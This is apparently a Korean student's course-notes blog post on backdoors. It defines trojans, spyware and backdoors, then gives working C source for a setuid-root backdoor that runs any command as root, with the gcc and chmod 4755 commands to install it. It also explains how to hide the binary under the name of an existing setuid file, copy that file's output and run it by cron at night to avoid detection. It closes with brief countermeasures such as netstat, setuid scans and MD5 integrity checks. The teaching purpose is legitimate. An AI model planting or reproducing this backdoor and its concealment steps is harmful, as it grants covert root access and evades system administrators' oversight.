본문 바로가기
2022-2/시스템 프로그래밍

백도어

by 철없는민물장어 2022. 12. 6.
728x90

트로이 목마: 사용자가 의도치 않은 코드를 정상적인 프로그램에 삽입한 프로그램

스파이웨어: 설치된 시스템의 정보를 주기적으로 원격지의 특정한 서버에 보내는 프로그램

백도어: 운영체제나 프로그램을 생성할 때 정상적인 인증 과정을 거치지 않고 접근할 수 있도록 만든 일종의 통로

 

로컬 백도어: 로컬에서 서버의 셸을 얻어내 관리자로 권한을 상승할 때 사용. 공격자는 일반 계정이 하나 필요 함(일반계정에서 루트 계정으로 권한 상승)

 

원격 백도어: 원격으로 관리자 권한을 획득해 시스템에 접근. 시스템 계정이 필요 없음

 

백도어 생성

#include <stdio.h>

main(int argc, char *argv[])
{
	char exec[100];
    setuid(0);
    setgid(0);
    sprintf(exec, "%s 2>/dev/null", argv[1]);
    system(exec);
}

setUID, setGID를 변경하여 권한을 상승하는 프로그램

 

gcc -o backdoor backdoor.c
chmod 4755 backdoor

컴파일 하고, 루트계정 전환 후 SetUID 실행권한 부여.

 

 

이 프로그램은 

./backdoor "명령어" 를 입력하면

명령어 동작을 루트권한으로 실행할 수 있다

 


백도어 숨기기

 

find / -perm 4755 

위 명령어를 입력하면 setuid가 설정된 파일을 검색할 수 있다.

이미 setuid가 설정된 파일의 이름으로 위장하여 백도어를 숨기자.

 

해당 파일 실행 시 출력되는 문장을

백도어 실행시에도 똑같이 출력되게 하면 더 감쪽같다.

 

.

.

cron시스템을 이용해서

특정 시간에만 실행되도록 할 수도 있는데,

예를들어 새벽에만 동작하도록 하면 탐지하기가 힘들어 진다.

 


백도어 탐지와 대응책

  • 열린 포트 확인
  • SetUID 파일 검사
  • 바이러스와 백도어 탐지 툴 이용
  • 무결성 검사

열린 포트는 시스템에서 netstat 명령으로 확인 가능하다

 

무결성 검사는 MD5 해시 기법을 많이 사용한다.(전자 시스템 지문)

파일 내용이 조금만 바뀌어도 MD5 해시 결과 값이 다르므로 관리자는 주요 파일의 MD5값을 주기적으로 수집,검사해야한다.

 

728x90

'2022-2 > 시스템 프로그래밍' 카테고리의 다른 글

계정과 권한/패스워드 크래킹  (0) 2022.11.22
9장 프로세스 제어  (1) 2022.11.16
10장 메모리 관리  (0) 2022.11.11
8장 프로세스  (1) 2022.11.08
5. 파일 시스템  (0) 2022.11.02

댓글